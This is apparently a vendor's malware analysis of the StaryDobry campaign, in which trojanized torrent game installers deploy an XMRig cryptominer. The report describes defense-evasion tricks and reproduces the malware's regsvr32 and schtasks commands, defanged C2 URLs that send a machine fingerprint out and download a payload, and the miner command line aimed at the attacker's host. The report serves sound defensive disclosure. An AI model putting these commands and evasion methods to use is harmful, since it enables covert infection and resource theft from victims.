
Introduction
On December 31, cybercriminals launched a mass infection campaign, aiming to exploit reduced vigilance and increased torrent traffic during the holiday season. Our telemetry detected the attack, which lasted for a month and affected individuals and businesses by distributing the XMRig cryptominer. This previously unidentified actor is targeting users worldwide—including in Russia, Brazil, Germany, Belarus and Kazakhstan—by spreading trojanized versions of popular games via torrent sites.
In this report, we analyze how the attacker evades detection and launches a sophisticated execution chain, employing a wide range of defense evasion techniques.
Kaspersky’s products detect this threat as Trojan.Win64.StaryDobry.*, Trojan-Dropper.Win64.StaryDobry.*, HEUR:Trojan.Win64.StaryDobry.gen.
Initial infection
On December 31, while reviewing our telemetry, we first detected this massive infection. Further investigation revealed that the campaign was initially distributed via popular torrent trackers. Trojanized versions of popular games—such as BeamNG.drive, Garry’s Mod, Dyson Sphere Program, Universe Sandbox, and Plutocracy—were designed to launch a sophisticated infection chain, ultimately deploying a miner implant. These malicious releases were created in advance and uploaded around September 2024.
Although the malicious releases were published by different authors, they were all cracked the same way.
Among the compromised installers are popular simulator and sandbox games that require minimal disk space. Below is the distribution of affected users by game as of January 2025:
Infected users per game (download)
These releases, often referred to as “repacks”, were usually distributed in an archive. Let’s now take a closer look at one of the samples. Upon unpacking the archive, we found a trojanized installer.
Technical details
Trojanized installer
After launching the installer (a Windows 32-bit GUI executable), we were welcomed with a GUI screen showing three options: install the game, choose the language, or quit.
This installer was created with Inno Setup. After decompiling the installer, we examined its code and found an interesting functionality.
This code is responsible for extracting the malicious files used in this attack. First, it decrypts unrar.dll using the DECR function, which is a proxy for the RARExtract function within the rar.dll library. RARExtract decrypts unrar.dll using AES encryption with a hard-coded key, cls-precompx.dll. Next, additional files from the archive are dropped into the temporary directory, and execution proceeds to the RARGetDllVersion function within unrar.dll.
Unrar.dll dropper
First of all, the sample runs a series of methods to check if it’s being launched in a debugging environment. These methods search for debugger and sandbox modules injected into processes, and also check the registry and filesystem for certain popular software. If such software is detected, execution immediately terminates.
If the checks are passed, the malware executes cmd.exe to register unrar.dll as a command handler with regsvr32.exe. The sample attempts to query the following list of sites to determine the user’s IP address.
1 2 3 4 5 6 |
api.myip [.]com ip-api [.]com ipapi [.]co freeipapi [.]com ipwho [.]is api.miip [.]my |
This is done to identify the infected user’s location, specifically their country. If the malware fails to detect the IP address, it defaults the country code to CNOrBY (meaning “China or Belarus”). Next, the sample sends a request to hxxps://pinokino[.]fun/donate_button/game_id=%s&donate_text=%s with the following substitutions:
- game_id = appended with DST_xxxx, where x represents digits. This value is passed as an argument from the installer; in this campaign, we discovered the variant DST_1448;
- donate_text = appended with the country code.
After this generic country check, the sample collects a fingerprint of the infected machine. This fingerprint consists of various parameters, forming a unique identifier as follows:
1 |
mac|machineId|username|country|windows|meminGB|numprocessors|video|game_id |
This fingerprint is then encoded using URL-safe Base64 to be sent successfully over the network. Next, the malware retrieves MachineGUID from HKLM\Software\Microsoft\Cryptography and calculates its SHA256 checksum. It then collects 10 characters starting from the 20th position ( SHA256(MachineGUID)[20:30]). This hexadecimal sequence is used as the filename for two newly created files: %SystemRoot%\%hash%.dat and %SystemRoot%\%hash%.efi. The first file contains the encoded fingerprint, while the second is an empty decoy. The creation time of the .dat file is spoofed with a random date between 01/01/2015 and 12/25/2021.
After this step, unrar.dll starts preparing to drop the decrypted MTX64.exe to the disk. First, it generates a new filename for the decrypted payload. The malware searches for files in %SystemRoot% or %SystemRoot%\Sysnative. If these directories are empty, the decrypted MTX64.exe is written to the disk as Windows.Graphics.ThumbnailHandler.dll. Otherwise, unrar.dll creates a new file and names it by choosing a random file from the specified directories, taking its name, trimming its extension and appending a random suffix from a predefined list. Besides suffixes, this list contains junk data, most likely added to evade signature-based detection.
For example, if the malware finds a file named msvc140.dll in %SystemRoot%, it removes the extension and appends the resulting msvc140 with handler.dll (a random suffix from the list), resulting in msvc140handler.dll. The malware then writes the decrypted payload to the newly generated file in the %SystemRoot% folder.
After that, the sample opens the encrypted MTX64.exe and decrypts it using AES-128 with a hard-coded key, cls-precompx.dll.
The loader also carries out resource spoofing. First of all, it scans the _res.rc file for DLL property names and values—such as CompanyName, FileVersion and so on—and creates a dictionary of (key, value) pairs. Then it takes a random DLL from the %SystemRoot% folder (exiting if nothing is found), extracts its property values using the VerQueryValueW WinAPI, and replaces the corresponding dictionary values. The resulting resources are embedded into the decrypted MTX64.exe DLL. This file is then saved under the name generated in the previous step. Finally, unrar.dll changes the creation time of the resulting DLL using the same spoofing method as for the fingerprint file.
The dropped DLL is installed using the following command:
1 |
cmd.exe /C "cd $system32 && regsvr32.exe /s %dropped_name%.dll" |
MTX64
This DLL is based on a public project called EpubShellExtThumbnailHandler, a Windows Shell Extension Thumbnail Handler. This stage completely mimics the legitimate behavior up until the actual thumbnail handling. It gets registered as a .lnk (shortcut) file handler, so whenever a .lnk file is opened, the DLL tries to process its thumbnail. However, here the sample implements its own version of the GetThumbnail interface function, and creates a separate thread to perform its malicious activities.
First, this thread writes the current date and month in dd-mm format to the %TEMP%\time_windows_com.ini file. This stage then retrieves MachineGUID from HKLM\SOFTWARE\Microsoft\Cryptography, calculates SHA256(MachineGUID)[20 : 30], just like unrar.dll did. After that, it checks %SystemRoot% for the .dat file with this name. The presence of this file confirms that the infection is uninterrupted, prompting the DLL to extract the fingerprint and make a query to the hard-coded threat actors’ domain in the following format, where the UID is the fingerprint’s SHA256 hash.
1 |
hxxps://promouno[.]shop/check/uid=%s |
The server sends back a JSON that looks like {'code':'reg'}. After this, the DLL makes another query to the server with an additional field, data, which is the Base64-encoded fingerprint ( uid remains the same):
1 |
hxxps://promouno[.]shop/check/uid=%s&data=%s |
Upon receiving this request, the server also sends a JSON. The malware checks its code field, which must be equal to either 322 or 200. If it is, the sample proceeds to extract the MD5 checksum from the flmd field in the same JSON and download the next-stage payload from the following link:
1 |
hxxps://promouno[.]shop/dloadm/uid=%s |
Next, the sample calculates the MD5 checksum of the received payload (a kickstarter PE file), and checks this hash against the MD5 checksum from the JSON. If they match, the malware parses the PE structure to locate the Export Address Table, retrieves the kickstarter function address, and executes it.
Kickstarter
The kickstarter PE has an encrypted blob in its resources. This stage reads the blob and stores it in a C++ vector of bytes.
After that, it chooses a random name for the payload using the same method as for MTX64.exe during the execution of unrar.dll. However, there is a difference: if nothing is found in %SystemRoot% or %SystemRoot%\Sysnative, it chooses Unix.Directory.IconHandler.dll as a default file name. The payload is saved to %appdata\Roaming\Microsoft\Credentials\%InstallDate%\. To locate the InstallDate directory, the DLL retrieves the system installation date from the registry subkey HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate.
Then the blob is decrypted using the CryptoPP AES-128 implementation. The key consists of the sequence of bytes from \x00 to \x10. The decrypted contents are written onto the disk. This executable also spoofs its resources using the same method as for MTX64.exe, after which it executes the following command:
1 |
schtasks /create / tn %s /tr "regsvr32.exe /s %s" / st 00:00 /du 9999:59 / sc once / ri 1 /f |
The first argument is the system installation date, while the second one is the path to the dropped DLL. A scheduled task to register a server with regsvr32.exe is created, using the first argument as its name, with a suppressed warning, set to trigger at 00:00. The loader sends a GET request to the hard-coded address
45.200.149[.]58/conf.txt, implicitly setting the request header to
User-Agent: StupidSandwichAgent\r\n.
The loader then waits for a response from the server. If the response begins with
act, the sample stops execution after creating the scheduled task. If the response is
noactive, meaning the targeted device has not been registered previously, the sample tries to delete itself with the following command, which clears everything in the %temp% directory:
Unix.Directory.IconHandler.dll
Subsequently, Unix.Directory.IconHandler.dll creates a mutex named com_curruser_mttx. If this mutex has already been created, execution stops immediately. Then the DLL searches for the %TEMP%\_cache.binary file. If the sample can’t find it, it downloads the binary directly from 45.200.149[.]58 using a GET 44912.f request, with the same StupidSandwichAgent User-Agent header. This file is written to the temporary directory and then decrypted using AES-128 with the same key consisting of the \x00–\x10 byte sequence.
The sample proceeds to open the current process, look for SeDebugPrivilege in the process token, and adjust it if applicable. We believe this is done to inject code into a newly created cmd.exe process. The author chose the easiest way possible, copying the entire open source injector, including its debug strings:
After injecting the code into the command interpreter, the sample enters an endless loop, continuously checking for taskmgr.exe and procmon.exe in the list of running processes. If either process is detected, the sample is shut down.
Miner implant
This implant is a slightly modified XMRig miner executable. Instead of parsing command-line arguments, it constructs a predefined command line.
1 |
xmrig – url =45.200.149[.]58:1448 –algo= rx /0 –user=new-www –donate-level=1 –keepalive – nicehash –background –no-title –pass=x – cpu -max-threads-hint=%d |
The last parameter is calculated from the CPU topology: the implant calls the GetSystemInfo API to check the number of processor cores. If there are fewer than 8, the miner does not start. Moreover, the attacker chose to host a mining pool server in their own infrastructure instead of using a public one.
XMRig parses the constructed command line using its built-in functionality. The miner also creates a separate thread to check for process monitors running in the system, using the same method as in the previous stage:
Victims
This campaign primarily targets regular users by distributing malicious repacks. Some organizations were also affected, but these seem to be compromised computers inside corporate infrastructures, rather than direct targets.
Most of the infections have been observed in Russia, with additional cases in Belarus, Kazakhstan, Germany, and Brazil.
Attribution
There are no clear links between this campaign and any previously known crimeware actors, making attribution difficult. However, the use of Russian language in the PDB suggests the campaign may have been developed by a Russian-speaking actor.
Conclusions
StaryDobry tends to be a one-shot campaign. To deliver the miner implant, the actors implemented a sophisticated execution chain that exploited users seeking free games. This approach helped the threat actors make the most out of the miner implant by targeting powerful gaming machines capable of sustaining mining activity. Additionally, the attacker’s use of DoH helped conceal communication with their infrastructure, making it harder to detect and trace the campaign.
Indicators of compromise
File hashes
15c0396687d4ff36657e0aa680d8ba42
461a0e74321706f5c99b0e92548a1986
821d29d3140dfd67fc9d1858f685e2ac
3c4d0a4dfd53e278b3683679e0656276
04b881d0a17b3a0b34cbdbf00ac19aa2
5cac1df1b9477e40992f4ee3cc2b06ed
Domains and IPs
45.200.149[.]58
45.200.149[.]146
45.200.149[.]148
hxxps://promouno[.]shop
hxxps://pinokino[.]fun
StaryDobry ruins New Year’s Eve, delivering miner instead of presents